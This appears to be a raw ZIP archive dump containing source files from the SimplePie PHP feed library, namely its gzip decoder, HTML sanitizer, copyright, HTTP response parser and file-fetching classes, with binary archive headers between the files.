$compressed_data; /** * Size of compressed data * * @access private * @var int */ var $compressed_size; /** * Minimum size of a valid gzip string * * @access private * @var int */ var $min_compressed_size = 18; /** * Current position of pointer * * @access private * @var int */ var $position = 0; /** * Flags (FLG) * * @access private * @var int */ var $flags; /** * Uncompressed data * * @access public * @see gzdecode::$compressed_data * @var string */ var $data; /** * Modified time * * @access public * @var int */ var $MTIME; /** * Extra Flags * * @access public * @var int */ var $XFL; /** * Operating System * * @access public * @var int */ var $OS; /** * Subfield ID 1 * * @access public * @see gzdecode::$extra_field * @see gzdecode::$SI2 * @var string */ var $SI1; /** * Subfield ID 2 * * @access public * @see gzdecode::$extra_field * @see gzdecode::$SI1 * @var string */ var $SI2; /** * Extra field content * * @access public * @see gzdecode::$SI1 * @see gzdecode::$SI2 * @var string */ var $extra_field; /** * Original filename * * @access public * @var string */ var $filename; /** * Human readable comment * * @access public * @var string */ var $comment; /** * Don't allow anything to be set * * @param string $name * @param mixed $value */ public function __set($name, $value) { trigger_error("Cannot write property $name", E_USER_ERROR); } /** * Set the compressed string and related properties * * @param string $data */ public function __construct($data) { $this->compressed_data = $data; $this->compressed_size = strlen($data); } /** * Decode the GZIP stream * * @return bool Successfulness */ public function parse() { if ($this->compressed_size >= $this->min_compressed_size) { // Check ID1, ID2, and CM if (substr($this->compressed_data, 0, 3) !== "\x1F\x8B\x08") { return false; } // Get the FLG (FLaGs) $this->flags = ord($this->compressed_data[3]); // FLG bits above (1 << 4) are reserved if ($this->flags > 0x1F) { return false; } // Advance the pointer after the above $this->position += 4; // MTIME $mtime = substr($this->compressed_data, $this->position, 4); // Reverse the string if we're on a big-endian arch because l is the only signed long and is machine endianness if (current(unpack('S', "\x00\x01")) === 1) { $mtime = strrev($mtime); } $this->MTIME = current(unpack('l', $mtime)); $this->position += 4; // Get the XFL (eXtra FLags) $this->XFL = ord($this->compressed_data[$this->position++]); // Get the OS (Operating System) $this->OS = ord($this->compressed_data[$this->position++]); // Parse the FEXTRA if ($this->flags & 4) { // Read subfield IDs $this->SI1 = $this->compressed_data[$this->position++]; $this->SI2 = $this->compressed_data[$this->position++]; // SI2 set to zero is reserved for future use if ($this->SI2 === "\x00") { return false; } // Get the length of the extra field $len = current(unpack('v', substr($this->compressed_data, $this->position, 2))); $this->position += 2; // Check the length of the string is still valid $this->min_compressed_size += $len + 4; if ($this->compressed_size >= $this->min_compressed_size) { // Set the extra field to the given data $this->extra_field = substr($this->compressed_data, $this->position, $len); $this->position += $len; } else { return false; } } // Parse the FNAME if ($this->flags & 8) { // Get the length of the filename $len = strcspn($this->compressed_data, "\x00", $this->position); // Check the length of the string is still valid $this->min_compressed_size += $len + 1; if ($this->compressed_size >= $this->min_compressed_size) { // Set the original filename to the given string $this->filename = substr($this->compressed_data, $this->position, $len); $this->position += $len + 1; } else { return false; } } // Parse the FCOMMENT if ($this->flags & 16) { // Get the length of the comment $len = strcspn($this->compressed_data, "\x00", $this->position); // Check the length of the string is still valid $this->min_compressed_size += $len + 1; if ($this->compressed_size >= $this->min_compressed_size) { // Set the original comment to the given string $this->comment = substr($this->compressed_data, $this->position, $len); $this->position += $len + 1; } else { return false; } } // Parse the FHCRC if ($this->flags & 2) { // Check the length of the string is still valid $this->min_compressed_size += $len + 2; if ($this->compressed_size >= $this->min_compressed_size) { // Read the CRC $crc = current(unpack('v', substr($this->compressed_data, $this->position, 2))); // Check the CRC matches if ((crc32(substr($this->compressed_data, 0, $this->position)) & 0xFFFF) === $crc) { $this->position += 2; } else { return false; } } else { return false; } } // Decompress the actual data if (($this->data = gzinflate(substr($this->compressed_data, $this->position, -8))) === false) { return false; } else { $this->position = $this->compressed_size - 8; } // Check CRC of data $crc = current(unpack('V', substr($this->compressed_data, $this->position, 4))); $this->position += 4; /*if (extension_loaded('hash') && sprintf('%u', current(unpack('V', hash('crc32b', $this->data)))) !== sprintf('%u', $crc)) { return false; }*/ // Check ISIZE of data $isize = current(unpack('V', substr($this->compressed_data, $this->position, 4))); $this->position += 4; if (sprintf('%u', strlen($this->data) & 0xFFFFFFFF) !== sprintf('%u', $isize)) { return false; } // Wow, against all odds, we've actually got a valid gzip string return true; } else { return false; } } } PKÜ�\u�N�E=E=9vendor/simplepie/simplepie/library/SimplePie/Sanitize.phpnu�[���<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue * @author Ryan Parman * @author Geoffrey Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ /** * Used for data cleanup and post-processing * * * This class can be overloaded with {@see SimplePie::set_sanitize_class()} * * @package SimplePie * @todo Move to using an actual HTML parser (this will allow tags to be properly stripped, and to switch between HTML and XHTML), this will also make it easier to shorten a string while preserving HTML tags */ class SimplePie_Sanitize { // Private vars var $base; // Options var $remove_div = true; var $image_handler = ''; var $strip_htmltags = array('base', 'blink', 'body', 'doctype', 'embed', 'font', 'form', 'frame', 'frameset', 'html', 'iframe', 'input', 'marquee', 'meta', 'noscript', 'object', 'param', 'script', 'style'); var $encode_instead_of_strip = false; var $strip_attributes = array('bgsound', 'class', 'expr', 'id', 'style', 'onclick', 'onerror', 'onfinish', 'onmouseover', 'onmouseout', 'onfocus', 'onblur', 'lowsrc', 'dynsrc'); var $strip_comments = false; var $output_encoding = 'UTF-8'; var $enable_cache = true; var $cache_location = './cache'; var $cache_name_function = 'md5'; var $timeout = 10; var $useragent = ''; var $force_fsockopen = false; var $replace_url_attributes = null; public function __construct() { // Set defaults $this->set_url_replacements(null); } public function remove_div($enable = true) { $this->remove_div = (bool) $enable; } public function set_image_handler($page = false) { if ($page) { $this->image_handler = (string) $page; } else { $this->image_handler = false; } } public function set_registry(SimplePie_Registry $registry) { $this->registry = $registry; } public function pass_cache_data($enable_cache = true, $cache_location = './cache', $cache_name_function = 'md5', $cache_class = 'SimplePie_Cache') { if (isset($enable_cache)) { $this->enable_cache = (bool) $enable_cache; } if ($cache_location) { $this->cache_location = (string) $cache_location; } if ($cache_name_function) { $this->cache_name_function = (string) $cache_name_function; } } public function pass_file_data($file_class = 'SimplePie_File', $timeout = 10, $useragent = '', $force_fsockopen = false) { if ($timeout) { $this->timeout = (string) $timeout; } if ($useragent) { $this->useragent = (string) $useragent; } if ($force_fsockopen) { $this->force_fsockopen = (string) $force_fsockopen; } } public function strip_htmltags($tags = array('base', 'blink', 'body', 'doctype', 'embed', 'font', 'form', 'frame', 'frameset', 'html', 'iframe', 'input', 'marquee', 'meta', 'noscript', 'object', 'param', 'script', 'style')) { if ($tags) { if (is_array($tags)) { $this->strip_htmltags = $tags; } else { $this->strip_htmltags = explode(',', $tags); } } else { $this->strip_htmltags = false; } } public function encode_instead_of_strip($encode = false) { $this->encode_instead_of_strip = (bool) $encode; } public function strip_attributes($attribs = array('bgsound', 'class', 'expr', 'id', 'style', 'onclick', 'onerror', 'onfinish', 'onmouseover', 'onmouseout', 'onfocus', 'onblur', 'lowsrc', 'dynsrc')) { if ($attribs) { if (is_array($attribs)) { $this->strip_attributes = $attribs; } else { $this->strip_attributes = explode(',', $attribs); } } else { $this->strip_attributes = false; } } public function strip_comments($strip = false) { $this->strip_comments = (bool) $strip; } public function set_output_encoding($encoding = 'UTF-8') { $this->output_encoding = (string) $encoding; } /** * Set element/attribute key/value pairs of HTML attributes * containing URLs that need to be resolved relative to the feed * * Defaults to |a|@href, |area|@href, |blockquote|@cite, |del|@cite, * |form|@action, |img|@longdesc, |img|@src, |input|@src, |ins|@cite, * |q|@cite * * @since 1.0 * @param array|null $element_attribute Element/attribute key/value pairs, null for default */ public function set_url_replacements($element_attribute = null) { if ($element_attribute === null) { $element_attribute = array( 'a' => 'href', 'area' => 'href', 'blockquote' => 'cite', 'del' => 'cite', 'form' => 'action', 'img' => array( 'longdesc', 'src' ), 'input' => 'src', 'ins' => 'cite', 'q' => 'cite' ); } $this->replace_url_attributes = (array) $element_attribute; } public function sanitize($data, $type, $base = '') { $data = trim($data); if ($data !== '' || $type & SIMPLEPIE_CONSTRUCT_IRI) { if ($type & SIMPLEPIE_CONSTRUCT_MAYBE_HTML) { if (preg_match('/(&(#(x[0-9a-fA-F]+|[0-9]+)|[a-zA-Z0-9]+)|<\/[A-Za-z][^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3E]*' . SIMPLEPIE_PCRE_HTML_ATTRIBUTE . '>)/', $data)) { $type |= SIMPLEPIE_CONSTRUCT_HTML; } else { $type |= SIMPLEPIE_CONSTRUCT_TEXT; } } if ($type & SIMPLEPIE_CONSTRUCT_BASE64) { $data = base64_decode($data); } if ($type & (SIMPLEPIE_CONSTRUCT_HTML | SIMPLEPIE_CONSTRUCT_XHTML)) { if (!class_exists('DOMDocument')) { $this->registry->call('Misc', 'error', array('DOMDocument not found, unable to use sanitizer', E_USER_WARNING, __FILE__, __LINE__)); return ''; } $document = new DOMDocument(); $document->encoding = 'UTF-8'; $data = $this->preprocess($data, $type); set_error_handler(array('SimplePie_Misc', 'silence_errors')); $document->loadHTML($data); restore_error_handler(); // Strip comments if ($this->strip_comments) { $xpath = new DOMXPath($document); $comments = $xpath->query('//comment()'); foreach ($comments as $comment) { $comment->parentNode->removeChild($comment); } } // Strip out HTML tags and attributes that might cause various security problems. // Based on recommendations by Mark Pilgrim at: // http://diveintomark.org/archives/2003/06/12/how_to_consume_rss_safely if ($this->strip_htmltags) { foreach ($this->strip_htmltags as $tag) { $this->strip_tag($tag, $document, $type); } } if ($this->strip_attributes) { foreach ($this->strip_attributes as $attrib) { $this->strip_attr($attrib, $document); } } // Replace relative URLs $this->base = $base; foreach ($this->replace_url_attributes as $element => $attributes) { $this->replace_urls($document, $element, $attributes); } // If image handling (caching, etc.) is enabled, cache and rewrite all the image tags. if (isset($this->image_handler) && ((string) $this->image_handler) !== '' && $this->enable_cache) { $images = $document->getElementsByTagName('img'); foreach ($images as $img) { if ($img->hasAttribute('src')) { $image_url = call_user_func($this->cache_name_function, $img->getAttribute('src')); $cache = $this->registry->call('Cache', 'get_handler', array($this->cache_location, $image_url, 'spi')); if ($cache->load()) { $img->setAttribute('src', $this->image_handler . $image_url); } else { $file = $this->registry->create('File', array($img['attribs']['src']['data'], $this->timeout, 5, array('X-FORWARDED-FOR' => $_SERVER['REMOTE_ADDR']), $this->useragent, $this->force_fsockopen)); $headers = $file->headers; if ($file->success && ($file->method & SIMPLEPIE_FILE_SOURCE_REMOTE === 0 || ($file->status_code === 200 || $file->status_code > 206 && $file->status_code < 300))) { if ($cache->save(array('headers' => $file->headers, 'body' => $file->body))) { $img->setAttribute('src', $this->image_handler . $image_url); } else { trigger_error("$this->cache_location is not writeable. Make sure you've set the correct relative or absolute path, and that the location is server-writable.", E_USER_WARNING); } } } } } } // Remove the DOCTYPE // Seems to cause segfaulting if we don't do this if ($document->firstChild instanceof DOMDocumentType) { $document->removeChild($document->firstChild); } // Move everything from the body to the root $real_body = $document->getElementsByTagName('body')->item(0)->childNodes->item(0); $document->replaceChild($real_body, $document->firstChild); // Finally, convert to a HTML string $data = trim($document->saveHTML()); if ($this->remove_div) { $data = preg_replace('/^<div' . SIMPLEPIE_PCRE_XML_ATTRIBUTE . '>/', '', $data); $data = preg_replace('/<\/div>$/', '', $data); } else { $data = preg_replace('/^<div' . SIMPLEPIE_PCRE_XML_ATTRIBUTE . '>/', '<div>', $data); } } if ($type & SIMPLEPIE_CONSTRUCT_IRI) { $absolute = $this->registry->call('Misc', 'absolutize_url', array($data, $base)); if ($absolute !== false) { $data = $absolute; } } if ($type & (SIMPLEPIE_CONSTRUCT_TEXT | SIMPLEPIE_CONSTRUCT_IRI)) { $data = htmlspecialchars($data, ENT_COMPAT, 'UTF-8'); } if ($this->output_encoding !== 'UTF-8') { $data = $this->registry->call('Misc', 'change_encoding', array($data, 'UTF-8', $this->output_encoding)); } } return $data; } protected function preprocess($html, $type) { $ret = ''; if ($type & ~SIMPLEPIE_CONSTRUCT_XHTML) { // Atom XHTML constructs are wrapped with a div by default // Note: No protection if $html contains a stray </div>! $html = '<div>' . $html . '</div>'; $ret .= '<!DOCTYPE html>'; $content_type = 'text/html'; } else { $ret .= '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">'; $content_type = 'application/xhtml+xml'; } $ret .= '<html><head>'; $ret .= '<meta http-equiv="Content-Type" content="' . $content_type . '; charset=utf-8" />'; $ret .= '</head><body>' . $html . '</body></html>'; return $ret; } public function replace_urls($document, $tag, $attributes) { if (!is_array($attributes)) { $attributes = array($attributes); } if (!is_array($this->strip_htmltags) || !in_array($tag, $this->strip_htmltags)) { $elements = $document->getElementsByTagName($tag); foreach ($elements as $element) { foreach ($attributes as $attribute) { if ($element->hasAttribute($attribute)) { $value = $this->registry->call('Misc', 'absolutize_url', array($element->getAttribute($attribute), $this->base)); if ($value !== false) { $element->setAttribute($attribute, $value); } } } } } } public function do_strip_htmltags($match) { if ($this->encode_instead_of_strip) { if (isset($match[4]) && !in_array(strtolower($match[1]), array('script', 'style'))) { $match[1] = htmlspecialchars($match[1], ENT_COMPAT, 'UTF-8'); $match[2] = htmlspecialchars($match[2], ENT_COMPAT, 'UTF-8'); return "<$match[1]$match[2]>$match[3]</$match[1]>"; } else { return htmlspecialchars($match[0], ENT_COMPAT, 'UTF-8'); } } elseif (isset($match[4]) && !in_array(strtolower($match[1]), array('script', 'style'))) { return $match[4]; } else { return ''; } } protected function strip_tag($tag, $document, $type) { $xpath = new DOMXPath($document); $elements = $xpath->query('body//' . $tag); if ($this->encode_instead_of_strip) { foreach ($elements as $element) { $fragment = $document->createDocumentFragment(); // For elements which aren't script or style, include the tag itself if (!in_array($tag, array('script', 'style'))) { $text = '<' . $tag; if ($element->hasAttributes()) { $attrs = array(); foreach ($element->attributes as $name => $attr) { $value = $attr->value; // In XHTML, empty values should never exist, so we repeat the value if (empty($value) && ($type & SIMPLEPIE_CONSTRUCT_XHTML)) { $value = $name; } // For HTML, empty is fine elseif (empty($value) && ($type & SIMPLEPIE_CONSTRUCT_HTML)) { $attrs[] = $name; continue; } // Standard attribute text $attrs[] = $name . '="' . $attr->value . '"'; } $text .= ' ' . implode(' ', $attrs); } $text .= '>'; $fragment->appendChild(new DOMText($text)); } $number = $element->childNodes->length; for ($i = $number; $i > 0; $i--) { $child = $element->childNodes->item(0); $fragment->appendChild($child); } if (!in_array($tag, array('script', 'style'))) { $fragment->appendChild(new DOMText('</' . $tag . '>')); } $element->parentNode->replaceChild($fragment, $element); } return; } elseif (in_array($tag, array('script', 'style'))) { foreach ($elements as $element) { $element->parentNode->removeChild($element); } return; } else { foreach ($elements as $element) { $fragment = $document->createDocumentFragment(); $number = $element->childNodes->length; for ($i = $number; $i > 0; $i--) { $child = $element->childNodes->item(0); $fragment->appendChild($child); } $element->parentNode->replaceChild($fragment, $element); } } } protected function strip_attr($attrib, $document) { $xpath = new DOMXPath($document); $elements = $xpath->query('//*[@' . $attrib . ']'); foreach ($elements as $element) { $element->removeAttribute($attrib); } } } PKÜ�\a$�P :vendor/simplepie/simplepie/library/SimplePie/Copyright.phpnu�[���<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue * @author Ryan Parman * @author Geoffrey Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ /** * Manages `<media:copyright>` copyright tags as defined in Media RSS * * Used by {@see SimplePie_Enclosure::get_copyright()} * * This class can be overloaded with {@see SimplePie::set_copyright_class()} * * @package SimplePie * @subpackage API */ class SimplePie_Copyright { /** * Copyright URL * * @var string * @see get_url() */ var $url; /** * Attribution * * @var string * @see get_attribution() */ var $label; /** * Constructor, used to input the data * * For documentation on all the parameters, see the corresponding * properties and their accessors */ public function __construct($url = null, $label = null) { $this->url = $url; $this->label = $label; } /** * String-ified version * * @return string */ public function __toString() { // There is no $this->data here return md5(serialize($this)); } /** * Get the copyright URL * * @return string|null URL to copyright information */ public function get_url() { if ($this->url !== null) { return $this->url; } else { return null; } } /** * Get the attribution text * * @return string|null */ public function get_attribution() { if ($this->label !== null) { return $this->label; } else { return null; } } } PKÜ�\ .��p*p*<vendor/simplepie/simplepie/library/SimplePie/HTTP/Parser.phpnu�[���<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue * @author Ryan Parman * @author Geoffrey Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ /** * HTTP Response Parser * * @package SimplePie * @subpackage HTTP */ class SimplePie_HTTP_Parser { /** * HTTP Version * * @var float */ public $http_version = 0.0; /** * Status code * * @var int */ public $status_code = 0; /** * Reason phrase * * @var string */ public $reason = ''; /** * Key/value pairs of the headers * * @var array */ public $headers = array(); /** * Body of the response * * @var string */ public $body = ''; /** * Current state of the state machine * * @var string */ protected $state = 'http_version'; /** * Input data * * @var string */ protected $data = ''; /** * Input data length (to avoid calling strlen() everytime this is needed) * * @var int */ protected $data_length = 0; /** * Current position of the pointer * * @var int */ protected $position = 0; /** * Name of the hedaer currently being parsed * * @var string */ protected $name = ''; /** * Value of the hedaer currently being parsed * * @var string */ protected $value = ''; /** * Create an instance of the class with the input data * * @param string $data Input data */ public function __construct($data) { $this->data = $data; $this->data_length = strlen($this->data); } /** * Parse the input data * * @return bool true on success, false on failure */ public function parse() { while ($this->state && $this->state !== 'emit' && $this->has_data()) { $state = $this->state; $this->$state(); } $this->data = ''; if ($this->state === 'emit' || $this->state === 'body') { return true; } else { $this->http_version = ''; $this->status_code = ''; $this->reason = ''; $this->headers = array(); $this->body = ''; return false; } } /** * Check whether there is data beyond the pointer * * @return bool true if there is further data, false if not */ protected function has_data() { return (bool) ($this->position < $this->data_length); } /** * See if the next character is LWS * * @return bool true if the next character is LWS, false if not */ protected function is_linear_whitespace() { return (bool) ($this->data[$this->position] === "\x09" || $this->data[$this->position] === "\x20" || ($this->data[$this->position] === "\x0A" && isset($this->data[$this->position + 1]) && ($this->data[$this->position + 1] === "\x09" || $this->data[$this->position + 1] === "\x20"))); } /** * Parse the HTTP version */ protected function http_version() { if (strpos($this->data, "\x0A") !== false && strtoupper(substr($this->data, 0, 5)) === 'HTTP/') { $len = strspn($this->data, '0123456789.', 5); $this->http_version = substr($this->data, 5, $len); $this->position += 5 + $len; if (substr_count($this->http_version, '.') <= 1) { $this->http_version = (float) $this->http_version; $this->position += strspn($this->data, "\x09\x20", $this->position); $this->state = 'status'; } else { $this->state = false; } } else { $this->state = false; } } /** * Parse the status code */ protected function status() { if ($len = strspn($this->data, '0123456789', $this->position)) { $this->status_code = (int) substr($this->data, $this->position, $len); $this->position += $len; $this->state = 'reason'; } else { $this->state = false; } } /** * Parse the reason phrase */ protected function reason() { $len = strcspn($this->data, "\x0A", $this->position); $this->reason = trim(substr($this->data, $this->position, $len), "\x09\x0D\x20"); $this->position += $len + 1; $this->state = 'new_line'; } /** * Deal with a new line, shifting data around as needed */ protected function new_line() { $this->value = trim($this->value, "\x0D\x20"); if ($this->name !== '' && $this->value !== '') { $this->name = strtolower($this->name); // We should only use the last Content-Type header. c.f. issue #1 if (isset($this->headers[$this->name]) && $this->name !== 'content-type') { $this->headers[$this->name] .= ', ' . $this->value; } else { $this->headers[$this->name] = $this->value; } } $this->name = ''; $this->value = ''; if (substr($this->data[$this->position], 0, 2) === "\x0D\x0A") { $this->position += 2; $this->state = 'body'; } elseif ($this->data[$this->position] === "\x0A") { $this->position++; $this->state = 'body'; } else { $this->state = 'name'; } } /** * Parse a header name */ protected function name() { $len = strcspn($this->data, "\x0A:", $this->position); if (isset($this->data[$this->position + $len])) { if ($this->data[$this->position + $len] === "\x0A") { $this->position += $len; $this->state = 'new_line'; } else { $this->name = substr($this->data, $this->position, $len); $this->position += $len + 1; $this->state = 'value'; } } else { $this->state = false; } } /** * Parse LWS, replacing consecutive LWS characters with a single space */ protected function linear_whitespace() { do { if (substr($this->data, $this->position, 2) === "\x0D\x0A") { $this->position += 2; } elseif ($this->data[$this->position] === "\x0A") { $this->position++; } $this->position += strspn($this->data, "\x09\x20", $this->position); } while ($this->has_data() && $this->is_linear_whitespace()); $this->value .= "\x20"; } /** * See what state to move to while within non-quoted header values */ protected function value() { if ($this->is_linear_whitespace()) { $this->linear_whitespace(); } else { switch ($this->data[$this->position]) { case '"': // Workaround for ETags: we have to include the quotes as // part of the tag. if (strtolower($this->name) === 'etag') { $this->value .= '"'; $this->position++; $this->state = 'value_char'; break; } $this->position++; $this->state = 'quote'; break; case "\x0A": $this->position++; $this->state = 'new_line'; break; default: $this->state = 'value_char'; break; } } } /** * Parse a header value while outside quotes */ protected function value_char() { $len = strcspn($this->data, "\x09\x20\x0A\"", $this->position); $this->value .= substr($this->data, $this->position, $len); $this->position += $len; $this->state = 'value'; } /** * See what state to move to while within quoted header values */ protected function quote() { if ($this->is_linear_whitespace()) { $this->linear_whitespace(); } else { switch ($this->data[$this->position]) { case '"': $this->position++; $this->state = 'value'; break; case "\x0A": $this->position++; $this->state = 'new_line'; break; case '\\': $this->position++; $this->state = 'quote_escaped'; break; default: $this->state = 'quote_char'; break; } } } /** * Parse a header value while within quotes */ protected function quote_char() { $len = strcspn($this->data, "\x09\x20\x0A\"\\", $this->position); $this->value .= substr($this->data, $this->position, $len); $this->position += $len; $this->state = 'value'; } /** * Parse an escaped character within quotes */ protected function quote_escaped() { $this->value .= $this->data[$this->position]; $this->position++; $this->state = 'quote'; } /** * Parse the body */ protected function body() { $this->body = substr($this->data, $this->position); if (!empty($this->headers['transfer-encoding'])) { unset($this->headers['transfer-encoding']); $this->state = 'chunked'; } else { $this->state = 'emit'; } } /** * Parsed a "Transfer-Encoding: chunked" body */ protected function chunked() { if (!preg_match('/^([0-9a-f]+)[^\r\n]*\r\n/i', trim($this->body))) { $this->state = 'emit'; return; } $decoded = ''; $encoded = $this->body; while (true) { $is_chunked = (bool) preg_match( '/^([0-9a-f]+)[^\r\n]*\r\n/i', $encoded, $matches ); if (!$is_chunked) { // Looks like it's not chunked after all $this->state = 'emit'; return; } $length = hexdec(trim($matches[1])); if ($length === 0) { // Ignore trailer headers $this->state = 'emit'; $this->body = $decoded; return; } $chunk_length = strlen($matches[0]); $decoded .= $part = substr($encoded, $chunk_length, $length); $encoded = substr($encoded, $chunk_length + $length + 2); if (trim($encoded) === '0' || empty($encoded)) { $this->state = 'emit'; $this->body = $decoded; return; } } } } PKÜ�\f�^��%�%5vendor/simplepie/simplepie/library/SimplePie/File.phpnu�[���<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue * @author Ryan Parman * @author Geoffrey Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ /** * Used for fetching remote files and reading local files * * Supports HTTP 1.0 via cURL or fsockopen, with spotty HTTP 1.1 support * * This class can be overloaded with {@see SimplePie::set_file_class()} * * @package SimplePie * @subpackage HTTP * 